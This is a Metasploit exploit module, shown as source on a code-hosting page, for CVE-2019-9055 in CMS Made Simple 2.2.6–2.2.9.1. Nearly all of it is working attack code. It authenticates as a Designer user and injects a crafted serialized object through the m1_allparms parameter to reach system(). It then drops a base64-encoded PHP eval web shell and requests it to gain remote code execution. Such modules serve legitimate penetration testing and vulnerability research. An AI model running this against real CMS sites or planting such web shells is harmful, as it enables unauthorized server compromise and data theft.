Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/cmsms_object_injection_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking7include Msf::Exploit::Remote::HttpClient8include Msf::Exploit::FileDropper9prepend Msf::Exploit::Remote::AutoCheck1011def initialize(info = {})12super(update_info(info,13'Name' => 'CMS Made Simple Authenticated RCE via object injection',14'Description' => %q(15An issue was discovered in CMS Made Simple 2.2.8.16In the module DesignManager (in the files action.admin_bulk_css.php17and action.admin_bulk_template.php), with an unprivileged user18with Designer permission, it is possible to reach an unserialize19call with a crafted value in the m1_allparms parameter,20and achieve object injection.2122This module has been successfully tested on CMS Made Simple versions232.2.6, 2.2.7, 2.2.8, 2.2.9 and 2.2.9.1.24),25'Author' => [26'Daniele Scanu danielescanu20[at]gmail.com', # Discovered and exploit. twitter.com/sk4pwn27],28'License' => MSF_LICENSE,29'References' => [30['CVE', '2019-9055'],31['URL', 'https://newsletter.cmsmadesimple.org/w/89247Qog4jCRCuRinvhsofwg'],32['URL', 'https://www.cmsmadesimple.org/2019/03/Announcing-CMS-Made-Simple-v2.2.10-Spuzzum']33],34'Privileged' => false,35'Platform' => ['php'],36'Arch' => [ARCH_PHP],37'Targets' => [['Automatic', {}]],38'DefaultTarget' => 0,39'DisclosureDate' => '2019-03-26'))40register_options(41[42OptString.new('TARGETURI', [true, 'Base cmsms directory path', '/']),43OptString.new('USERNAME', [true, 'Username to authenticate with', '']),44OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])45]46)47end4849def multipart_form_data(uri, data, message)50send_request_cgi(51'uri' => normalize_uri(target_uri.path, 'admin', uri),52'method' => 'POST',53'data' => data,54'ctype' => "multipart/form-data; boundary=#{message.bound}",55'cookie' => @cookies56)57end5859def post(uri, data)60send_request_cgi(61'uri' => normalize_uri(target_uri.path, 'admin', uri),62'method' => 'POST',63'vars_post' => data,64'cookie' => @cookies65)66end6768def get(path, filename)69send_request_cgi(70'uri' => normalize_uri(target_uri.path, path, filename),71'method' => 'GET'72)73end7475def check76res = get('', 'index.php')77unless res78vprint_error 'Connection failed'79return CheckCode::Unknown80end8182unless res.body.match?(/CMS Made Simple/i)83return CheckCode::Safe84end8586version = Rex::Version.new(res.body.scan(/CMS Made Simple<\/a> version (\d+\.\d+\.\d+)/).flatten.first)87vprint_status("#{peer} - CMS Made Simple Version: #{version}")8889if version <= Rex::Version.new('2.2.9.1')90return CheckCode::Appears91end9293return CheckCode::Safe94end9596def login97data = {98'username' => datastore['USERNAME'],99'password' => datastore['PASSWORD'],100'loginsubmit' => 'Submit'101}102res = post('login.php', data)103104unless res105fail_with(Failure::Unreachable,106'A response was not received from the remote host')107end108109unless res.code == 302 && res.get_cookies && res.headers['Location'] =~ %r{\/admin\?(.*)?=(.*)}110fail_with(Failure::NoAccess, 'Authentication was unsuccessful')111end112store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])113vprint_good("#{peer} - Authentication successful")114@csrf_name = Regexp.last_match(1)115csrf_val = Regexp.last_match(2)116@csrf = { @csrf_name => csrf_val }117@cookies = res.get_cookies118end119120def send_injection121# prepare shell command122shell_name = rand_text_alpha(8..12) + '.php'123cmd = Rex::Text.encode_base64(payload.encoded).delete('\n', '')124cmd = "echo \"<?php eval(base64_decode('#{cmd}')); ?>\" > #{shell_name}"125126# prepare serialized object127final_payload = 'a:2:{s:10:"css_select";a:4:{i:0;s:2:"19";i:1;s:2:"21";i:2;O:13:"dm_xml_reader":1:{s:31:"'128final_payload += "\x00" + 'dm_xml_reader' + "\x00"129final_payload += '_old_err_handler";a:2:{i:0;O:21:"CmsLayoutTemplateType":1:{s:28:"'130final_payload += "\x00" + 'CmsLayoutTemplateType' + "\x00"131final_payload += '_data";a:2:{s:13:"help_callback";s:6:"system";s:4:"name";s:' + cmd.length.to_s + ':"' + cmd + '";}}'132final_payload += 'i:1;s:21:"get_template_helptext";}};i:3;s:5:"dummy";}s:15:"css_bulk_action";s:6:"export";}'133134# create message with payload135message = Rex::MIME::Message.new136message.add_part(@csrf[@csrf_name], nil, nil, "form-data; name=\"#{@csrf_name}\"")137message.add_part('DesignManager,m1_,admin_bulk_template,0', nil, nil, 'form-data; name="mact"')138message.add_part(Rex::Text.encode_base64(final_payload), nil, nil, 'form-data; name="m1_allparms"')139data = message.to_s140141# send payload142payload_res = multipart_form_data('moduleinterface.php', data, message)143fail_with(Failure::NotFound, 'Failed to send payload') unless payload_res144register_files_for_cleanup(shell_name)145# open shell146res = get('admin', shell_name)147if res && res.code == 404148print_error "Shell #{shell_name} not found"149end150end151152def exploit153login154send_injection155end156end157158159